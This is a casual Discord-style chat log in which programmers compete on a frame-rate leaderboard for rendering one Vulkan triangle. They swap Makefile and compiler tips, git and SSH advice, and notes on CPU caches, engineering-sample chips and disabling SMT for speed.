i can do practically anything with my api endpoint lol

hooking it up to my backend system

bam

[amber fractal]

I've seen you at 4GHz :RAGEY:

[true hemlock]

99mhz

[amber fractal]

Fuck it we ball in the bios again

[glad path]

someone slide me the macos version

[olive sable]

vani has one iirc

there is no official one since i have no way to test that

[glad path]

why is 'loolloddol' inside the neofetch apple logo ascii art

loolloddol

[amber fractal]

We love CPU Flex ratio being capped at 25

Should have waited for a AMD system smh

[sage crag]

what da hell did you do to the makefile

[olive sable]

i removed all the stuff that i wast using anymore

and its windows compatible now

[sage crag]

apparently all of the stuff you were using too

[olive sable]

that is taht volk isnt finding the vulkan linking stuff

[violet sand]

I still have no clue what is the "leaderboard"

[olive sable]

fastes fps

[sage crag]

[olive sable]

thats why i have these volk flags

[true hemlock]

!triangleupdatelinux 1,55272

its fucked

[olive sable]

i cant use the same flags as the rest of the build cuz of volk being c and not c++

[true hemlock]

[sage crag]

not on linux

[true hemlock]

i've not done object oriented programming for quite long

[sage crag]

CXXFLAGS_COMMON_VOLK = -O3 -Wall -march=native -flto -fomit-frame-pointer

# linux
CXXFLAGS_VOLK = $(CXXFLAGS_COMMON_VOLK)

[olive sable]

linux didnt need it for me

[sage crag]

its not even in there

[violet sand]

My condolences

[true hemlock]

i stand with my "C++ is best"

[violet sand]

Everything I hear is "Rewrite my app in rust"

[true hemlock]

dude uhh

[olive sable]

ye?

[true hemlock]

why would you hardcode it lmao

[olive sable]

its a seperate value so people can change it

[sage crag]

c is bad, c++ is worse, rust is painful, zig is too new, haskell is unreadable

[true hemlock]

you can make it automatically find the lib path afaik

[sage crag]

python is too slow, java is too ugly, c# is too unoriginal

[olive sable]

what do you want me to do? add a program that searches for the file location on their system?

[true hemlock]

!triangleupdatelinux 1,55272

[sage crag]

funny that it already exists

its called pkg-config

[olive sable]

you can do that

but i aint

[true hemlock]

fair

!trianglelinux

Linux Leaderboard:

1. 55273 by Quack on NixOS, i9-13900 (ES Q0L4)
2. 35600 by superbox on Mint, i7-12700K
3. 33191 by Iggly on NixOS, i7-1260P
4. 32100 by Semicolon on Arch, Ryzen 9 5950x
5. 30573 by Iggly on CachyOS, Z1 Extreme
6. 27158 by Shuni on NixOS, Ryzen 9 7950X
7. 26364 by konii on NixOS, Ryzen 5 7600
8. 22809 by Prism on Custom, HP Prime G2 RevD
9. 18230 by Sam on CachyOS, Ryzen 9 5950x
10. 17000 by toast on NixOS, Ryzen 9 5900x
11. 13037 by Assist on CachyOS, i3-8100U
12. 9458 by unkomp on Arch,

[violet sand]

JS is the solution to your problem

[olive sable]

no

[true hemlock]

its not updated

[sage crag]

no.

[opaque sigil]

Surely mojo will fix all the problems (except python syntax that is unfixable)

[sage crag]

semantic whitespace is death by dropping off tall cliff

[olive sable]

everytime someone says mojo i just think of mojo jojo from the powerpuff girls

[amber fractal]

34k

[violet sand]

JS is unarioniclly the best lang to write GUIs tho. The web gang have just nailed it down to this point, even if u are just using vanilla JS.

[opaque sigil]

That's not because of the language being good though

That's because it's the only option

[olive sable]

gui's are for losers, embrace the terminal like our computer god steve jobs intended

[sage crag]

i wholehearted ly disagree

[patent walrus]

it's such a pain to set up

[violet sand]

Ohh I there are other options, and I have tried a lot of them. Now I want to live on a farm

[olive sable]

im bullshiting there, i have nothing against gui

[sage crag]

gui is for a different purpose than the console

awawa

[true hemlock]

!triangleupdatelinux 1,55272

[olive sable]

as a graphics programmer its just funny to me to activly take a stance against using gui

[true hemlock]

!triangleupdate

L

[patent walrus]

finally, something to argue over in #programming

[sage crag]

its going to be worse after the super cool makefile changes

[true hemlock]

fucking json

[sage crag]

[olive sable]

ok heres the plan

i installed vtune, but i forgot where the installer put it

so im going to find it, and then use it

[opaque sigil]

wtf are you planning on doing with vtune

[true hemlock]

json dump fucking dies when the encoding isn't "UTF-8" moment

[patent walrus]

what's a vtune

sounds like a zune

[olive sable]

intel profiler

[true hemlock]

FUCKING BASED

[sage crag]

profiler

[true hemlock]

PIN THAT

[violet sand]

Fun fact whenever I said "I want to write a GUI app not using JS" the first thing I heard was "Ya at this point you might as well just write your own UI framework"

[violet sand]

From a graphics programmer

[olive sable]

ui frameworks are easy if you know how to use a bit of webgl and dont need anything fancy

[true hemlock]

!triangleupdatelinux 1,55272

[patent walrus]

one time i tried making a mobile app for pxls with flutter

[true hemlock]

and it still fuckin dies lmfao

[opaque sigil]

My condolences

[patent walrus]

quack i know what you're up to, why not just do it by hand or in a private server or something

[true hemlock]

brb

[patent walrus]

and not straight up in public lol

[violet sand]

Yaaa... I plan to eventually write my own, which will focus on being extendable.
Cuz everything I tried just feel like it is forcing me to adapt to a very particular way of writing code.

[olive sable]

my waybar broke cuz i installed new system package versions

brb

[sage crag]

nice one

[olive sable]

It worked on my pc, it worked in windows and linux

Idk what you're doing but its untested

which one of these would start vtune?

[opaque sigil]

Run the last shell script and look in bin64 (from the terminal)

[olive sable]

okay

[midnight sigil]

[violet sand]

I plan to write my framework in WESL lets hope its not to bad of an idea
https://wesl-lang.dev/

I would prefer to use slang, but sadly I don't think it supports RUST
https://shader-slang.org/

[amber fractal]

I'm letting the laptop rest

@true hemlock

We are power limited so hard

Ended up disabling cores until a balence was made

[violet sand]

One must wonder, how much power rendering a single red triangle takes.

[amber fractal]

3GHz so far far away from winning any awards, but an additonal 300MHz doesn't hurt

[sage crag]

for future reference

its because lto is a gcc plugin

not all distributions of gcc come with support for lto

changing gcc to clang++ fixes the problem

[olive sable]

[sage crag]

so does removing -flto but the performance hit is substantial

[sage crag]

https://github.com/llvm/llvm-project/blob/main/bolt/README.md
here's something you can try and chuck on top of PGO by the way

[olive sable]

so you're saying id i add -flto ill get more fps?

[sage crag]

you already have -flto

[olive sable]

but you said its a gcc plugina nd i dont think i have gcc

not on linux at least

[sage crag]

then why did you set CXX=gcc

[olive sable]

i used clang++

i might have put gcc in one of the gitpushed by mistake tho

[sage crag]

not in the latest commit. i had to change it myself.

[olive sable]

i was testing some stuff

huh

ok ye my bad

[olive sable]

oh i changed that but never commited it

[true hemlock]

oopsies i accidentally nuked the whole leaderboard

[olive sable]

oh no

[true hemlock]

(dw lol i have the json, gonna push again)

figured out that i was writing the markdown generator wrong

[olive sable]

oh so thats why when i commited it split in 2

[true hemlock]

!trianglepush

Linux Leaderboard:

1. 55272 by Quack on NixOS, i9-13900 (ES Q0L4)
2. 36036 by Iggly on NixOS, i7-1260P
3. 35600 by superbox on Mint, i7-12700K
4. 32100 by Semicolon on Arch, Ryzen 9 5950x
5. 30573 by Iggly on CachyOS, Z1 Extreme
6. 27158 by Shuni on NixOS, Ryzen 9 7950X
7. 26364 by konii on NixOS, Ryzen 5 7600
8. 22809 by Prism on Custom, HP Prime G2 RevD
9. 18230 by Sam on CachyOS, Ryzen 9 5950x
10. 17000 by toast on NixOS, Ryzen 9 5900x
11. 13037 by Assist on CachyOS, i3-8100U
12. 9458 by unkomp on Arch,

[olive sable]

i stil havent figured out how to merge branches in vscode

ill jsut delete this and edit the existing one

[amber fractal]

Second place

[true hemlock]

leaderboard is back

imma move all the commands to @hidden ravine

and give some people access for editing or adding entries. i'll restrict pushing and removing entries to sam though

[sage crag]

that's crazy

[olive sable]

i seem to be breakign everything

how can i git fetch without the pop-up saying i cant

[sage crag]

ideally set up ssh

[olive sable]

a what

[sage crag]

google it

[olive sable]

fair

[sage crag]

well actually dont google ssh on its own

it wont be helpful

search git ssh

anyway if you cant be asked to set up ssh then set up git credential manager

[true hemlock]

that gap

[true hemlock]

i REALLY suspect that my cpu being an engineering sample being actually impactful

14600KF can't even hit higher score despite supposedly having higher single core perf.

[sage crag]

have you run a benchmark

[true hemlock]

yeah, 14600KF should have better single thread

[olive sable]

wha tis this graph supposed to show?

[true hemlock]

scores

linux

[olive sable]

ah

ok

[true hemlock]

you can see the gap between 1st and 2nd

[amber fractal]

I got some catching up to do

[tender river]

ssh agent

[true hemlock]

superbox gotta catch up aswell

[tender river]

actually i use gpg agent

but same thing

[amber fractal]

To be open, I only had 2 P cores (0 and 1) and 4 E cores enabled

Not that anyone else is power limited

[true hemlock]

right

ES cpus are sometimes "superbinned"

means that they pick out few of the best candidates per wafer for testing it

high risk high reward ahh

[tender river]

makes sense, its low volume so they arent really wasting much either way

[true hemlock]

i suspected that my es cpu somehow has better L2 and L3 management aswell with better branch predictions (this matters, like a lot, especially on microbenchmarks like the triangle)

something related to latency aswell

[opaque wharf]

Just checked the leaderboard and my laptop is worse than graphing calculator

Neat

[true hemlock]

LMFAO

[olive sable]

[amber fractal]

[true hemlock]

that graphing calc is still the best ngl

[tender river]

possibly an old version that used llvmpipe

[olive sable]

the graphing calculator is more of a joke entry, it was not running vulkan and was jsut rendering 4 pixels iirc

[true hemlock]

i mean why not

for the funnies

[olive sable]

would rendering on cpu be possible here if we just make the screen 6*5 pixels?

[true hemlock]

i wanna try

but preferably try to optimize the screen size to AVX vector size though

[opaque wharf]

[olive sable]

like idk if it would actually be faster but we'd have a lot less overhead if we didnt have to interact with a gpu at all maybe???

what?

why despair?

[tender river]

binaries in repos

[olive sable]

linux doesnt need it but windows wouldnt work without it

its fine

[tender river]

why am i not asleep yet

[olive sable]

dont ask us lmao

did i breaks onething in the repo? cuz i feel like i just did

[opaque wharf]

[olive sable]

???

what is the problem with that?

[nocturne olive]

Is it even possible though?

[opaque wharf]

Why is it executable

[olive sable]

oh i think i accidentaly removed quacks commits

the ones where he broke it and fixed it again

those werent too important i think

[olive sable]

why is what executable?

[opaque wharf]

The .cpp file

[olive sable]

where does it say that its executable?

[sage crag]

what do you mean 0 l3 cache

[opaque wharf]

-rwx is the permission that means read-write-executable

[nocturne olive]

Linux uses permissions on files to determine executability

[olive sable]

ok

[tender river]

gpu l3 cache

[olive sable]

huh, i forgot about that

[sage crag]

my cpu is 6 degrees celcius

[tender river]

does that mean there are 2 free bytes per pointer

the answer is: yes as long as they dont make new cpus that increase that space

[opaque wharf]

Well, at least now it is on 5 digit

[olive sable]

no L3 cache for the gpu apparently ye

[tender river]

crazy potential for niche optimization as long as you don't care about forwards compatibility

[sage crag]

erfing

[sage crag]

superUB

@true hemlock can we get the lscpu of your weird genuine intel 0000

[tender river]

it is behavior defined as "works on my machine"

[olive sable]

cpu family: 25
we love the 25 family of cpu's

[true hemlock]

aight hold on

[tender river]

its probably reported by the cpuid instruction

[sage crag]

why are most of my cores offline

er

[opaque wharf]

They eepy

[sage crag]

oh i turned off smt with a command

ta-da

btw turning off smt via echo off | sudo tee /sys/devices/system/cpu/smt/control

[olive sable]

mine is this

[sage crag]

made me go up ~1k fps

[olive sable]

smt

lemme google what that means

[patent walrus]

shaking my thead

[sage crag]

simultaneous multithreading

[olive sable]

i was googling it, you didnt hav to say it

[sage crag]

what is a bogomips

[opaque wharf]

MIPS but bogo

[tender river]

plural of bogomip

[sage crag]

https://en.wikipedia.org/wiki/BogoMips

[olive sable]

BogoMips is a humorous term referring to a crude measurement of CPU speed calculated by the Linux kernel during boot

[opaque wharf]

Much like bogosort

[olive sable]

it says i have a max of 5.086 GHZ, but ive only ever seen it hit that at idle

probably jsut pbo

[opaque wharf]

But at least bogosort is not as bad as one other algorithm that is multiply and surrender

Slowsort

[olive sable]

Caches (sum of all):
L1d:                       512 KiB (16 instances)
L1i:                       512 KiB (16 instances)
L2:                        8 MiB (16 instances)
L3:                        64 MiB (2 instances)

i have 2 diffrent L1's apaprently

"L1i stores frequently used instructions, while L1d stores frequently used data"

[sage crag]

yes its modern cpu architecture

[opaque wharf]

Yes, that is why I said it is hybrid between harvard and von neumann

[sage crag]

if you are familiar with the difference between harvard and von neumann

mhm

[tender river]

GenuineIotel

[sage crag]

Intel (rare)

[olive sable]

we talked about it here a while ago, and i have completelty forgotten all about it

somethign splitting data and instructions

[opaque wharf]

Harvard = fast

[sage crag]

it has half the bogomips of my cpu

why is it fast

[olive sable]

bogomips is probably multithreaded load estimation

[opaque wharf]

Half bogomips should mean slower no?

[olive sable]

eventho i have 16 cores we're only using 1 or 2 at full load

[tender river]

slow nop impl

unusable cpu

[true hemlock]

i still disabled the SMT and e cores btw

[sage crag]

this is why

[true hemlock]

let me enable them back

[sage crag]

i have avx512 nop

huge

[tender river]

the future of simd

[olive sable]

is that in the flags thingy?

i found avx2

[opaque wharf]

There are no avx512 nop instruction

[sage crag]

these are all computed heuristics except the rockchip 3588

48 bogomips

[sage crag]

vmovaps ymm1, ymm1

mov register into itself

basically a nop

[midnight sigil]

chat why is windows branch gone

[opaque wharf]

That's not a challenge

[sage crag]

erm

[tender river]

yes

[amber fractal]

Merged

[true hemlock]

memory address

[sage crag]

your physical address size is less than your virtual address size

that's not healthy

[olive sable]

i made them compatible with just some ifdefs _win32 shit

[midnight sigil]

I see

[true hemlock]

oh btw there, my actual cache sizes

[olive sable]

windows is also slower now since the previous numbers were a bug

[true hemlock]

896KB data L1, 1.3MB instruction L1

is that why

[olive sable]

thats a lot

i have 512k each

[sage crag]

ok but lets compare the number of

[true hemlock]

i don't have avx512

[sage crag]

damn that's a lot of l1

how much l2 do you have

[olive sable]

me neither